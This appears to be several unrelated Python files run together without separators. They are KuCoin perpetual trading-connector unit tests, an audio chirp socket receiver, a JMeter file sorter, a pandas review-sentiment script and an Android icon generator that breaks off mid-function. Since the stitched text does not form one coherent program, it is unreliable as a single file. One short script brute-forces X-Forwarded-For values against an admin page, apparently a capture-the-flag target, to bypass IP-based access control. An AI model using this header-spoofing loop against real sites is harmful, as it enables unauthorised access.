                "currentTimestamp": 1558506060394,
                "unrealisedRoePcnt": -0.0553,
                "unrealisedPnlPcnt": -0.0553,
                "settleCurrency": self.quote_asset,
            }
        }

    def funding_info_event_for_websocket_update(self):
        return {
            "userId": "xbc453tg732eba53a88ggyt8c",  # Deprecated, will detele later
            "topic": "/contract/position:" + self.exchange_trading_pair,
            "subject": "position.settlement",
            "data": {
                "fundingTime": 1551770400000,         # Funding time
                "qty": 100,                           # Position size
                "markPrice": self.target_funding_info_mark_price_ws_updated,  # Settlement price
                "fundingRate": self.target_funding_info_rate_ws_updated,             # Funding rate
                "fundingFee": -296,                   # Funding fees
                "ts": 1547697294838004923,            # Current time (nanosecond)
                "settleCurrency": "XBT"               # Currency used to clear and settle the trades
            }
        }

    def test_create_order_with_invalid_position_action_raises_value_error(self):
        self._simulate_trading_rules_initialized()

        with self.assertRaises(ValueError) as exception_context:
            asyncio.get_event_loop().run_until_complete(
                self.exchange._create_order(
                    trade_type=TradeType.BUY,
                    order_id="C1",
                    trading_pair=self.trading_pair,
                    amount=Decimal("1"),
                    order_type=OrderType.LIMIT,
                    price=Decimal("46000"),
                    position_action=PositionAction.NIL,
                ),
            )

        self.assertEqual(
            f"Invalid position action {PositionAction.NIL}. Must be one of {[PositionAction.OPEN, PositionAction.CLOSE]}",
            str(exception_context.exception)
        )

    def test_user_stream_balance_update(self):
        client_config_map = ClientConfigAdapter(ClientConfigMap())
        non_linear_connector = KucoinPerpetualDerivative(
            client_config_map=client_config_map,
            kucoin_perpetual_api_key=self.api_key,
            kucoin_perpetual_secret_key=self.api_secret,
            trading_pairs=[self.base_asset],
        )
        non_linear_connector._set_current_timestamp(1640780000)

        balance_event = self.non_linear_balance_event_websocket_update

        mock_queue = AsyncMock()
        mock_queue.get.side_effect = [balance_event, asyncio.CancelledError]
        self.exchange._user_stream_tracker._user_stream = mock_queue

        try:
            self.async_run_with_timeout(self.exchange._user_stream_event_listener())
        except asyncio.CancelledError:
            pass

        self.assertEqual(Decimal("10"), self.exchange.available_balances[self.base_asset])
        self.assertEqual(Decimal("25"), self.exchange.get_balance(self.base_asset))

    def test_supported_position_modes(self):
        client_config_map = ClientConfigAdapter(ClientConfigMap())
        linear_connector = KucoinPerpetualDerivative(
            client_config_map=client_config_map,
            kucoin_perpetual_api_key=self.api_key,
            kucoin_perpetual_secret_key=self.api_secret,
            trading_pairs=[self.trading_pair],
        )
        non_linear_connector = KucoinPerpetualDerivative(
            client_config_map=client_config_map,
            kucoin_perpetual_api_key=self.api_key,
            kucoin_perpetual_secret_key=self.api_secret,
            trading_pairs=[self.non_linear_trading_pair],
        )

        expected_result = [PositionMode.ONEWAY]
        self.assertEqual(expected_result, linear_connector.supported_position_modes())

        expected_result = [PositionMode.ONEWAY]
        self.assertEqual(expected_result, non_linear_connector.supported_position_modes())

    def test_set_position_mode_nonlinear(self):
        client_config_map = ClientConfigAdapter(ClientConfigMap())
        non_linear_connector = KucoinPerpetualDerivative(
            client_config_map=client_config_map,
            kucoin_perpetual_api_key=self.api_key,
            kucoin_perpetual_secret_key=self.api_secret,
            trading_pairs=[self.non_linear_trading_pair],
        )
        non_linear_connector.set_position_mode(PositionMode.HEDGE)

        self.assertTrue(
            self.is_logged(
                log_level="ERROR",
                message=f"Position mode {PositionMode.HEDGE} is not supported. Mode not set.",
            )
        )

    def test_get_buy_and_sell_collateral_tokens(self):
        self._simulate_trading_rules_initialized()

        linear_buy_collateral_token = self.exchange.get_buy_collateral_token(self.trading_pair)
        linear_sell_collateral_token = self.exchange.get_sell_collateral_token(self.trading_pair)

        self.assertEqual(self.quote_asset, linear_buy_collateral_token)
        self.assertEqual(self.quote_asset, linear_sell_collateral_token)

        non_linear_buy_collateral_token = self.exchange.get_buy_collateral_token(self.non_linear_trading_pair)
        non_linear_sell_collateral_token = self.exchange.get_sell_collateral_token(self.non_linear_trading_pair)

        self.assertEqual(self.non_linear_quote_asset, non_linear_buy_collateral_token)
        self.assertEqual(self.non_linear_quote_asset, non_linear_sell_collateral_token)

    def test_time_synchronizer_related_reqeust_error_detection(self):
        error_code_str = self.exchange._format_ret_code_for_print(ret_code=CONSTANTS.RET_CODE_AUTH_TIMESTAMP_ERROR)
        exception = IOError(f"{error_code_str} - Failed to cancel order for timestamp reason.")
        self.assertTrue(self.exchange._is_request_exception_related_to_time_synchronizer(exception))

        error_code_str = self.exchange._format_ret_code_for_print(ret_code=CONSTANTS.RET_CODE_ORDER_NOT_EXISTS)
        exception = IOError(f"{error_code_str} - Failed to cancel order because it was not found.")
        self.assertFalse(self.exchange._is_request_exception_related_to_time_synchronizer(exception))

    def place_buy_limit_maker_order(
        self,
        amount: Decimal = Decimal("100"),
        price: Decimal = Decimal("10_000"),
        position_action: PositionAction = PositionAction.OPEN,
    ):
        order_id = self.exchange.buy(
            trading_pair=self.trading_pair,
            amount=amount,
            order_type=OrderType.LIMIT_MAKER,
            price=price,
            position_action=position_action,
        )
        return order_id

    def place_buy_market_order(
        self,
        amount: Decimal = Decimal("100"),
        price: Decimal = Decimal("10_000"),
        position_action: PositionAction = PositionAction.OPEN,
    ):
        order_id = self.exchange.buy(
            trading_pair=self.trading_pair,
            amount=amount,
            order_type=OrderType.MARKET,
            price=price,
            position_action=position_action,
        )
        return order_id

    @aioresponses()
    @patch("asyncio.Queue.get")
    def test_listen_for_funding_info_update_initializes_funding_info(self, mock_api, mock_queue_get):
        url = self.funding_info_url

        response = self.funding_info_mock_response

        url = web_utils.get_rest_url_for_endpoint(endpoint=CONSTANTS.GET_CONTRACT_INFO_PATH_URL.format(symbol=self.exchange_trading_pair))
        regex_url = re.compile(f"^{url}".replace(".", r"\.").replace("?", r"\?"))
        mock_api.get(regex_url, body=json.dumps(response))

        event_messages = [asyncio.CancelledError]
        mock_queue_get.side_effect = event_messages

        try:
            self.async_run_with_timeout(self.exchange._listen_for_funding_info())
        except asyncio.CancelledError:
            pass

        funding_info: FundingInfo = self.exchange.get_funding_info(self.trading_pair)

        self.assertEqual(self.trading_pair, funding_info.trading_pair)
        self.assertEqual(self.target_funding_info_index_price, funding_info.index_price)
        self.assertEqual(self.target_funding_info_mark_price, funding_info.mark_price)
        self.assertEqual(self.target_funding_info_rate, funding_info.rate)

    @aioresponses()
    @patch("asyncio.Queue.get")
    def test_listen_for_funding_info_update_updates_funding_info(self, mock_api, mock_queue_get):
        url = self.funding_info_url

        response = self.funding_info_mock_response
        mock_api.get(url, body=json.dumps(response))

        url = web_utils.get_rest_url_for_endpoint(endpoint=CONSTANTS.GET_CONTRACT_INFO_PATH_URL.format(symbol=self.exchange_trading_pair))
        regex_url = re.compile(f"^{url}".replace(".", r"\.").replace("?", r"\?"))
        funding_resp = self.get_predicted_funding_info
        mock_api.get(regex_url, body=json.dumps(funding_resp))

        funding_info_event = self.funding_info_event_for_websocket_update()

        event_messages = [funding_info_event, asyncio.CancelledError]
        mock_queue_get.side_effect = event_messages

        try:
            self.async_run_with_timeout(
                self.exchange._listen_for_funding_info())
        except asyncio.CancelledError:
            pass

        self.assertEqual(1, self.exchange._perpetual_trading.funding_info_stream.qsize())  # rest in OB DS tests

    def _order_cancelation_request_successful_mock_response(self, order: InFlightOrder) -> Any:
        return {
            "code": "200000",
            "data": {
                "cancelledOrderIds": [
                    order.exchange_order_id
                ]
            }
        }

    def _order_status_request_completely_filled_mock_response(self, order: InFlightOrder) -> Any:
        return {
            "code": "200000",
            "data": {
                    "id": order.exchange_order_id or "2b1d811c-8ff0-4ef0-92ed-b4ed5fd6de34",
                    "symbol": self.exchange_trading_pair,
                    "type": "limit",
                    "side": order.trade_type.name.lower(),
                    "price": str(order.price),
                    "size": float(order.amount),
                    "value": float(order.price + 2),
                    "dealValue": float(order.price + 2),
                    "dealSize": float(order.amount),
                    "stp": "",
                    "stop": "",
                    "stopPriceType": "",
                    "stopTriggered": True,
                    "stopPrice": None,
                    "timeInForce": "GTC",
                    "postOnly": False,
                    "hidden": False,
                    "iceberg": False,
                    "leverage": "5",
                    "forceHold": False,
                    "closeOrder": False,
                    "visibleSize": "",
                    "clientOid": order.client_order_id or "",
                    "remark": None,
                    "tags": None,
                    "isActive": False,
                    "cancelExist": False,
                    "createdAt": 1558167872000,
                    "updatedAt": 1558167872000,
                    "endAt": 1558167872000,
                    "orderTime": 1558167872000000000,
                    "settleCurrency": order.quote_asset,
                    "status": "done",
                    "filledValue": float(order.price + 2),
                    "filledSize": float(order.amount),
                    "reduceOnly": False,
            }
        }

    def _order_status_request_canceled_mock_response(self, order: InFlightOrder) -> Any:
        resp = self._order_status_request_completely_filled_mock_response(order)
        resp["data"]["cancelExist"] = True
        resp["data"]["dealSize"] = 0
        resp["data"]["dealValue"] = 0
        return resp

    def _order_status_request_open_mock_response(self, order: InFlightOrder) -> Any:
        resp = self._order_status_request_completely_filled_mock_response(order)
        resp["data"]["status"] = "open"
        resp["data"]["dealSize"] = 0
        resp["data"]["dealValue"] = 0
        return resp

    def _order_status_request_partially_filled_mock_response(self, order: InFlightOrder) -> Any:
        resp = self._order_status_request_completely_filled_mock_response(order)
        resp["data"]["status"] = "open"
        resp["data"]["dealSize"] = float(self.expected_partial_fill_amount)
        resp["data"]["dealValue"] = float(self.expected_partial_fill_price)
        return resp

    def _order_fills_request_partial_fill_mock_response(self, order: InFlightOrder):
        return {
            "code": "200000",
            "data": {
                "currentPage": 1,
                "pageSize": 1,
                "totalNum": 251915,
                "totalPage": 251915,
                "items": [
                    {
                        "symbol": self.exchange_trading_pair,
                        "tradeId": self.expected_fill_trade_id,
                        "orderId": order.exchange_order_id,
                        "side": order.trade_type.name.lower(),
                        "liquidity": "taker",
                        "forceTaker": True,
                        "price": str(self.expected_partial_fill_price),  # Filled price
                        "size": float(self.expected_partial_fill_amount),  # Filled amount
                        "filledSize": float(self.expected_partial_fill_amount),  # Filled amount
                        "value": "0.00012227",  # Order value
                        "feeRate": "0.0005",  # Floating fees
                        "fixFee": "0.00000006",  # Fixed fees
                        "feeCurrency": "XBT",  # Charging currency
                        "stop": "",  # A mark to the stop order type
                        "fee": str(self.expected_fill_fee.percent),  # Transaction fee
                        "orderType": order.order_type.name.lower(),  # Order type
                        "tradeType": "trade",  # Trade type (trade, liquidation, ADL or settlement)
                        "createdAt": 1558334496000,  # Time the order created
                        "settleCurrency": order.base_asset,  # settlement currency
                        "tradeTime": 1558334496000000000  # trade time in nanosecond
                    }]
            }
        }

    def _order_fills_request_full_fill_mock_response(self, order: InFlightOrder):
        self._simulate_trading_rules_initialized()
        return {
            "code": "200000",
            "data": {
                    "currentPage": 1,
                    "pageSize": 100,
                    "totalNum": 1000,
                    "totalPage": 10,
                    "items": [
                        {
                            "symbol": self.exchange_trading_pair,  # Symbol of the contract
                            "tradeId": self.expected_fill_trade_id,  # Trade ID
                            "orderId": order.exchange_order_id,  # Order ID
                            "side": order.trade_type.name.lower(),  # Transaction side
                            "liquidity": "taker",  # Liquidity- taker or maker
                            "forceTaker": True,  # Whether to force processing as a taker
                            "price": str(order.price),  # Filled price
                            "matchPrice": str(order.price),  # Filled price
                            "size": float(self.exchange.get_quantity_of_contracts(self.trading_pair, order.amount)),   # Order amount
                            "filledSize": float(order.amount),   # Filled amount
                            "matchSize": float(order.amount),   # Filled amount
                            "value": "0.001204529",  # Order value
                            "feeRate": "0.0005",  # Floating fees
                            "fixFee": "0.00000006",  # Fixed fees
                            "feeCurrency": "USDT",  # Charging currency
                            "stop": "",  # A mark to the stop order type
                            "fee": str(self.expected_fill_fee.percent),  # Transaction fee
                            "orderType": order.order_type.name.lower(),  # Order type
                            "tradeType": "trade",  # Trade type (trade, liquidation, ADL or settlement)
                            "createdAt": 1558334496000,  # Time the order created
                            "settleCurrency": order.base_asset,  # settlement currency
                            "tradeTime": 1558334496000000000,  # trade time in nanosecond
                            "ts": 1558334496000000000  # trade time in nanosecond
                        }
                    ]
            }
        }

    def _simulate_trading_rules_initialized(self):
        self.exchange._trading_rules = {
            self.trading_pair: TradingRule(
                trading_pair=self.trading_pair,
                min_order_size=Decimal(str(0.01)),
                min_price_increment=Decimal(str(0.0001)),
                min_base_amount_increment=Decimal(str(0.000001)),
            ),
            self.non_linear_trading_pair: TradingRule(  # non-linear
                trading_pair=self.non_linear_trading_pair,
                min_order_size=Decimal(str(0.01)),
                min_price_increment=Decimal(str(0.0001)),
                min_base_amount_increment=Decimal(str(0.000001)),
            ),
        }

    @aioresponses()
    def test_update_order_status_when_order_has_not_changed_and_one_partial_fill(self, mock_api):
        # KuCoin has no partial fill status
        pass

    @aioresponses()
    def test_update_order_status_when_order_partially_filled_and_cancelled(self, mock_api):
        # KuCoin has no partial fill status
        pass

    @aioresponses()
    def test_user_stream_update_for_partially_cancelled_order(self, mock_api):
        # KuCoin has no partial fill status
        pass

    @aioresponses()
    def test_set_position_mode_success(self, mock_api):
        # There's only ONEWAY position mode
        pass

    @aioresponses()
    def test_set_position_mode_failure(self, mock_api):
        # There's only ONEWAY position mode
        pass

    def configure_order_not_found_error_cancelation_response(
            self, order: InFlightOrder, mock_api: aioresponses,
            callback: Optional[Callable] = lambda *args, **kwargs: None
    ) -> str:
        # Implement the expected not found response when enabling test_cancel_order_not_found_in_the_exchange
        raise NotImplementedError

    def configure_order_not_found_error_order_status_response(
            self, order: InFlightOrder, mock_api: aioresponses,
            callback: Optional[Callable] = lambda *args, **kwargs: None
    ) -> List[str]:
        # Implement the expected not found response when enabling
        # test_lost_order_removed_if_not_found_during_order_status_update
        raise NotImplementedError

    @aioresponses()
    def test_cancel_order_not_found_in_the_exchange(self, mock_api):
        # Disabling this test because the connector has not been updated yet to validate
        # order not found during cancellation (check _is_order_not_found_during_cancelation_error)
        pass

    @aioresponses()
    def test_lost_order_removed_if_not_found_during_order_status_update(self, mock_api):
        # Disabling this test because the connector has not been updated yet to validate
        # order not found during status update (check _is_order_not_found_during_status_update_error)
        pass

    @aioresponses()
    def test_create_buy_limit_maker_order_successfully(self, mock_api):
        self._simulate_trading_rules_initialized()
        request_sent_event = asyncio.Event()
        self.exchange._set_current_timestamp(1640780000)

        url = self.order_creation_url

        creation_response = self.order_creation_request_successful_mock_response

        mock_api.post(url,
                      body=json.dumps(creation_response),
                      callback=lambda *args, **kwargs: request_sent_event.set())

        order_id = self.place_buy_limit_maker_order()
        self.async_run_with_timeout(request_sent_event.wait())

        order_request = self._all_executed_requests(mock_api, url)[0]
        self.validate_auth_credentials_present(order_request)
        self.assertIn(order_id, self.exchange.in_flight_orders)
        request_data = json.loads(order_request.kwargs["data"])
        self.assertEqual(True, request_data["postOnly"])

    @aioresponses()
    @patch("hummingbot.connector.derivative.kucoin_perpetual.kucoin_perpetual_derivative.KucoinPerpetualDerivative.get_price")
    def test_create_buy_market_order_successfully(self, mock_api, get_price_mock):
        get_price_mock.return_value = Decimal(10000)
        self._simulate_trading_rules_initialized()
        request_sent_event = asyncio.Event()
        self.exchange._set_current_timestamp(1640780000)

        url = self.order_creation_url

        creation_response = self.order_creation_request_successful_mock_response

        mock_api.post(url,
                      body=json.dumps(creation_response),
                      callback=lambda *args, **kwargs: request_sent_event.set())

        order_id = self.place_buy_market_order()
        self.async_run_with_timeout(request_sent_event.wait())

        order_request = self._all_executed_requests(mock_api, url)[0]
        self.validate_auth_credentials_present(order_request)
        self.assertIn(order_id, self.exchange.in_flight_orders)
        request_data = json.loads(order_request.kwargs["data"])
        self.assertEqual("IOC", request_data["timeInForce"])

    @aioresponses()
    def test_update_order_status_processes_trade_fill(self, mock_api):
        self.exchange._set_current_timestamp(1640780000)
        self._simulate_trading_rules_initialized()
        request_sent_event = asyncio.Event()

        self.exchange.start_tracking_order(
            order_id="OID1",
            exchange_order_id="EOID1",
            trading_pair=self.trading_pair,
            order_type=OrderType.LIMIT,
            trade_type=TradeType.BUY,
            price=Decimal("10000"),
            amount=Decimal("1"),
        )
        order: InFlightOrder = self.exchange.in_flight_orders["OID1"]

        self.configure_fill_history_trade_response(
            order=order,
            mock_api=mock_api,
            callback=lambda *args, **kwargs: request_sent_event.set())
        self.async_run_with_timeout(self.exchange._update_trade_history())

        self.async_run_with_timeout(request_sent_event.wait())
        fill_event = self.order_filled_logger.event_log[0]

        self.assertEqual(1, len(self.order_filled_logger.event_log))
        self.assertEqual(self.exchange.current_timestamp, fill_event.timestamp)
        self.assertEqual(order.client_order_id, fill_event.order_id)
        self.assertEqual(order.trading_pair, fill_event.trading_pair)
        self.assertEqual(order.trade_type, fill_event.trade_type)
        self.assertEqual(order.order_type, fill_event.order_type)
        self.assertEqual(order.price, fill_event.price)
        self.assertEqual(order.amount, fill_event.amount)
        expected_fee = self.expected_trade_history_fill_fee
        self.assertEqual(expected_fee, fill_event.trade_fee)

    @aioresponses()
    def test_start_network_update_trading_rules(self, mock_api):
        self.exchange._set_current_timestamp(1000)

        url = self.trading_rules_url

        response = self.trading_rules_request_mock_response
        results = response
        duplicate = deepcopy(results['data'][0])
        duplicate["symbol"] = f"{self.exchange_trading_pair}_12345"
        duplicate["multiplier"] = str(float(duplicate["multiplier"]) + 1)
        results['data'].append(duplicate)
        mock_api.get(url, body=json.dumps(response))

        self.async_run_with_timeout(self.exchange.start_network())

        self.assertEqual(1, len(self.exchange.trading_rules))
        self.assertIn(self.trading_pair, self.exchange.trading_rules)
        self.assertEqual(repr(self.expected_trading_rule), repr(self.exchange.trading_rules[self.trading_pair]))

    @aioresponses()
    def test_user_stream_update_for_order_full_fill(self, mock_api):
        self.exchange._set_current_timestamp(1640780000)
        self._simulate_trading_rules_initialized()
        leverage = 2
        self.exchange._perpetual_trading.set_leverage(self.trading_pair, leverage)
        self.exchange.start_tracking_order(
            order_id=self.client_order_id_prefix + "1",
            exchange_order_id=self.exchange_order_id_prefix + "1",
            trading_pair=self.trading_pair,
            order_type=OrderType.LIMIT,
            trade_type=TradeType.SELL,
            price=Decimal("10000"),
            amount=Decimal("1"),
            position_action=PositionAction.OPEN,
        )
        order = self.exchange.in_flight_orders[self.client_order_id_prefix + "1"]

        order_event = self.order_event_for_full_fill_websocket_update(order=order)
        trade_event = self.trade_event_for_full_fill_websocket_update(order=order)
        expected_unrealized_pnl = 12
        position_event = self.position_event_for_full_fill_websocket_update(
            order=order, unrealized_pnl=expected_unrealized_pnl
        )

        mock_queue = AsyncMock()
        event_messages = []
        if trade_event:
            event_messages.append(trade_event)
        if order_event:
            event_messages.append(order_event)
        if position_event:
            event_messages.append(position_event)
        event_messages.append(asyncio.CancelledError)
        mock_queue.get.side_effect = event_messages
        self.exchange._user_stream_tracker._user_stream = mock_queue

        if self.is_order_fill_http_update_executed_during_websocket_order_event_processing:
            self.configure_full_fill_trade_response(
                order=order,
                mock_api=mock_api)

        try:
            self.async_run_with_timeout(self.exchange._user_stream_event_listener())
        except asyncio.CancelledError:
            pass
        # Execute one more synchronization to ensure the async task that processes the update is finished
        self.async_run_with_timeout(order.wait_until_completely_filled())

        fill_event = self.order_filled_logger.event_log[0]
        self.assertEqual(self.exchange.current_timestamp, fill_event.timestamp)
        self.assertEqual(order.client_order_id, fill_event.order_id)
        self.assertEqual(order.trading_pair, fill_event.trading_pair)
        self.assertEqual(order.trade_type, fill_event.trade_type)
        self.assertEqual(order.order_type, fill_event.order_type)
        self.assertEqual(order.price, fill_event.price)
        self.assertEqual(order.amount, fill_event.amount)
        expected_fee = self.expected_fill_fee
        self.assertEqual(expected_fee, fill_event.trade_fee)
        self.assertEqual(leverage, fill_event.leverage)
        self.assertEqual(PositionAction.OPEN.value, fill_event.position)

        sell_event = self.sell_order_completed_logger.event_log[0]
        self.assertEqual(self.exchange.current_timestamp, sell_event.timestamp)
        self.assertEqual(order.client_order_id, sell_event.order_id)
        self.assertEqual(order.base_asset, sell_event.base_asset)
        self.assertEqual(order.quote_asset, sell_event.quote_asset)
        self.assertEqual(order.amount, sell_event.base_asset_amount)
        self.assertEqual(order.amount * fill_event.price, sell_event.quote_asset_amount)
        self.assertEqual(order.order_type, sell_event.order_type)
        self.assertEqual(order.exchange_order_id, sell_event.exchange_order_id)
        self.assertNotIn(order.client_order_id, self.exchange.in_flight_orders)
        self.assertTrue(order.is_filled)
        self.assertTrue(order.is_done)

        self.assertTrue(
            self.is_logged(
                "INFO",
                f"SELL order {order.client_order_id} completely filled."
            )
        )

        self.assertEqual(1, len(self.exchange.account_positions))

        position: Position = self.exchange.account_positions[self.trading_pair]
        self.assertEqual(self.trading_pair, position.trading_pair)
        self.assertEqual(PositionSide.SHORT, position.position_side)
        self.assertEqual(expected_unrealized_pnl, position.unrealized_pnl)
        self.assertEqual(fill_event.price, position.entry_price)
        self.assertEqual(-fill_event.amount, (self.exchange.get_quantity_of_contracts(self.trading_pair, position.amount)))
        self.assertEqual(leverage, position.leverage)

    @aioresponses()
    def test_lost_order_user_stream_full_fill_events_are_processed(self, mock_api):
        self.exchange._set_current_timestamp(1640780000)
        self._simulate_trading_rules_initialized()
        self.exchange.start_tracking_order(
            order_id=self.client_order_id_prefix + "1",
            exchange_order_id=str(self.expected_exchange_order_id),
            trading_pair=self.trading_pair,
            order_type=OrderType.LIMIT,
            trade_type=TradeType.BUY,
            price=Decimal("10000"),
            amount=Decimal("1"),
        )
        order = self.exchange.in_flight_orders[self.client_order_id_prefix + "1"]

        for _ in range(self.exchange._order_tracker._lost_order_count_limit + 1):
            self.async_run_with_timeout(
                self.exchange._order_tracker.process_order_not_found(client_order_id=order.client_order_id))

        self.assertNotIn(order.client_order_id, self.exchange.in_flight_orders)

        order_event = self.order_event_for_full_fill_websocket_update(order=order)
        trade_event = self.trade_event_for_full_fill_websocket_update(order=order)

        mock_queue = AsyncMock()
        event_messages = []
        if trade_event:
            event_messages.append(trade_event)
        if order_event:
            event_messages.append(order_event)
        event_messages.append(asyncio.CancelledError)
        mock_queue.get.side_effect = event_messages
        self.exchange._user_stream_tracker._user_stream = mock_queue

        if self.is_order_fill_http_update_executed_during_websocket_order_event_processing:
            self.configure_full_fill_trade_response(
                order=order,
                mock_api=mock_api)

        try:
            self.async_run_with_timeout(self.exchange._user_stream_event_listener())
        except asyncio.CancelledError:
            pass
        # Execute one more synchronization to ensure the async task that processes the update is finished
        self.async_run_with_timeout(order.wait_until_completely_filled())

        fill_event = self.order_filled_logger.event_log[0]
        self.assertEqual(self.exchange.current_timestamp, fill_event.timestamp)
        self.assertEqual(order.client_order_id, fill_event.order_id)
        self.assertEqual(order.trading_pair, fill_event.trading_pair)
        self.assertEqual(order.trade_type, fill_event.trade_type)
        self.assertEqual(order.order_type, fill_event.order_type)
        self.assertEqual(order.price, fill_event.price)
        self.assertEqual(order.amount, fill_event.amount)
        expected_fee = self.expected_fill_fee
        self.assertEqual(expected_fee, fill_event.trade_fee)

        self.assertEqual(0, len(self.buy_order_completed_logger.event_log))
        self.assertNotIn(order.client_order_id, self.exchange.in_flight_orders)
        self.assertNotIn(order.client_order_id, self.exchange._order_tracker.lost_orders)
        self.assertTrue(order.is_filled)
        self.assertTrue(order.is_failure)


import socket
import scipy.signal
import numpy as np
import sounddevice as sd
from . import recorder
from scipy import signal
from threading import Thread
import time
import matplotlib.pyplot as plt

class ThreadWithReturnValue(Thread):
    def run(self):
        if self._target is not None:
            self._return = self._target(*self._args, **self._kwargs)

    def join(self):
        super(ThreadWithReturnValue,self).join()
        return self._return
class Receiver:
    def __init__(self,host='127.0.0.1',port = 2333):
        self.host = host
        self.port = int(port)

    def sendTime(self,time):
        send_msg = str(time)
        self.client.send(send_msg.encode('utf-8'))
        msg = self.client.recv(1024)
        print(f'receive msg : {msg.decode("utf-8")}')
    def getmsg(self):
        msg = self.client.recv(1024).decode('utf-8')
        if msg == 'server ready':
            self.client.send('client ready'.encode('utf-8'))
            return True
    def filter_bp(self,x,fs,wl,wh):
        fN = 3
        fc = fs/2
        w1c = wl/fc
        w2c = wh/fc
        b, a = signal.butter(fN,[w1c, w2c],'bandpass')
        x_filter = signal.filtfilt(b,a,x)
        return x_filter
    def main(self):
        print('receiver.main')
        self.client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.client.connect((self.host,self.port))
        fs = 48000
        T = 0.5
        f1 = 4000
        f2 = 6000
        f3 = 8000
        t = np.linspace(0,T,round(fs*T))
        y = scipy.signal.chirp(t,f2,T,f3)
        if (self.getmsg()):
            r = recorder.waveRecorder(fs,6*T,'receiver.wav')
            thread = ThreadWithReturnValue(target=r.saveWave)
            thread.start()
            time.sleep(3*T)
            sd.play(y, fs)
            data = thread.join()
            data = self.filter_bp(data.reshape(-1)[:int(6*T*fs)],fs,f1-10,f3+10)

            z1 = scipy.signal.chirp(t,f1,T,f2)
            z2 = scipy.signal.chirp(t,f2,T,f3)
            z1 = z1[::-1]
            z2 = z2[::-1]
            p1 = np.argmax(np.convolve(data,z1.reshape(-1),'valid'))
            p2 = np.argmax(np.convolve(data,z2.reshape(-1),'valid'))
            plt.plot(data)

            self.sendTime(p2-p1)
        self.client.close()


# -*- coding: utf-8 -*-
"""
This script iterates through all the JMeter files and arranges them in an appropriate folder.
It will create folders if they don't exist.
"""

import os
import shutil

def search_file(folder_path):
    os.chdir(folder_path)
    files = os.listdir(os.getcwd())
    for filename in files:
        if not os.path.isdir(filename):
            print(filename)
            if filename.endswith('.jmx'): #jmeter scenario files
               if not os.path.exists('Scripts'):
                   os.mkdir('Scripts')
               shutil.move(filename, 'Scripts')
            elif filename.endswith('.jtl'): #jmeter result files
               if not os.path.exists('Result'):
                  os.mkdir('Result')
               shutil.move(filename, 'Result')
            elif filename.endswith(('.csv','.xls')): #jmeter data files
               if not os.path.exists('Data'):
                   os.mkdir('Data')
               shutil.move(filename, 'Data')
            elif filename.endswith('.zip'): #any zip files
               if not os.path.exists('Zip_files'):
                   os.mkdir('Zip_files')
               shutil.move(filename, 'Zip_files')
            else:
               continue # all other files, do nothing

def main():

    FOLDER_PATH = "C:\\userxxx\\jmeter"  #Change the folder path against which you want to run the script.
    search_file(FOLDER_PATH)

if __name__ == "__main__":
    main()


import requests
from tqdm import tqdm

for idx in tqdm(range(256), desc="Trying all 255 IPs"):
    ip = "192.168.0.%i" % idx
    r = requests.get(
        "https://cfta-wh01.allyourbases.co/admin.html", headers={"X-Forwarded-For": ip}
    )
    if len(r.text) > 0:
        print("IP '%s' returned content!" % ip)
        print(r.text)
        break


import pandas as pd
import numpy as np

df = pd.read_csv('C:/googleplaystore_user_reviews.csv', engine='python')

#parametros estatisticos da base inteira
df.describe()

#localizacao de valores inconsistentes
df.loc[df['Sentiment_Polarity'] < 1]
df.loc[df['Sentiment_Polarity'] > 1]
df.loc[df['Sentiment_Subjectivity'] < 1]
df.loc[df['Sentiment_Subjectivity'] > 1]
#nao ha valores inconsistentes

#localizacao de valores faltantes
pd.isnull(df['Sentiment_Polarity'])
df.loc[pd.isnull(df['Sentiment_Polarity'])]
#26863 valores faltantes
#1a decisao: ignorar
df.dropna(inplace=True)

#valores de parametros estatisticos interessantes sobre a base
df.groupby('App').mean()
df['Sentiment'].value_counts()

dfp = df[df.Sentiment=='Positive'].Translated_Review
mcp = pd.Series(' '.join(dfp).lower().split()).value_counts()[:100]

dfneg = df[df.Sentiment=='Negative'].Translated_Review
mcnn = pd.Series(' '.join(dfneg).lower().split()).value_counts()[:100]

dfnt = df[df.Sentiment=='Neutral'].Translated_Review
mcn = pd.Series(' '.join(dfnt).lower().split()).value_counts()[:100]

from pandas import DataFrame
x = pd.DataFrame(data=mcp, columns=['quantidade'])
x['palavras'] = x.index
sx = x['quantidade'].sum()

y = pd.DataFrame(data=mcnn, columns=['quantidade'])
y['palavras'] = y.index
sy = y['quantidade'].sum()

z = pd.DataFrame(data=mcn, columns=['quantidade'])
z['palavras'] = z.index
sz = z['quantidade'].sum()

st = sx + sy+ sz

export_csv = x.to_csv (r'\mostcommonpositive.csv', index = None, header=True)
export_csv = y.to_csv (r'\mostcommonnegative.csv', index = None, header=True)
export_csv = z.to_csv (r'\mostcommonneutral.csv', index = None, header=True)


import os

from r import R, RUtils
from rplatform.base import RBase

class RDroid(RBase):

	def __init__(self, path_droid_resources, path_inkscape=None, path_convert=None):
		self.r = R(path_inkscape, path_convert)
		self.path_droid_resources = path_droid_resources
		self.densities = [RDroidDensity("xhdpi")]

	def set_densities(self, densities):
		self.densities = []
		dens = densities
		if not isinstance(densities, (list, tuple)):
			dens = densities.split(",")
		for density in dens:
			self.densities.append(RDroidDensity(density))

	def out_path_from_out_name(self, density, svg_file, out_name=None):
		dr = os.path.join(self.path_droid_resources, density.drawable_folder)
		o_name = out_name
		if o_name is None:
			icon_name = os.path.basename(svg_file)
			o_name = icon_name.replace('.svg', '.png')
		out_path = os.path.join(dr, o_name)
		if not os.path.exists(dr):
			os.mkdir(dr)
		return out_path

	def ic_menu_icon(self, svg_file, out_name=None):

		for density in self.densities:
			out_path = self.out_path_from_out_name(density, svg_file, out_name)
			self.r.svg2png(32*density.scale, 32*density.scale, out_path, svg_file)

			in_path = out_path

			# 333333
			out_path_dark = out_path.replace(".png", "_light.png")
			self.r.convert_color(in_path, out_path_dark, 'white', "rgb(51,51,51)")

			# FFFFFF
			out_path_light = out_path.replace(".png", "_dark.png")
			self.r.convert_color(in_path, out_path_light, 'white', "rgb(255,255,255)")

			cmd = 'rm "%s"' % in_path
			os.system(cmd)

	def svg2png(self, w_1x, h_1x, svg_file, out_name=None):
		for density in self.densities:
			out_path = self.out_path_from_out_name(density, svg_file, out_name)
			w = RUtils.number_from_object(w_1x)*density.scale
			h = RUtils.number_from_object(h_1x)*density.scale
			self.r.svg2png(w, h, out_path, svg_file)

	def svg2pngs(self, w_1x, h_1x, svg_file, out_name=None):
		self.svg2png(w_1x, h_1x, svg_file, out_name)

	def png2png(self, w_1x, h_1x, svg_file, out_name=None):
		for density in self.densities:
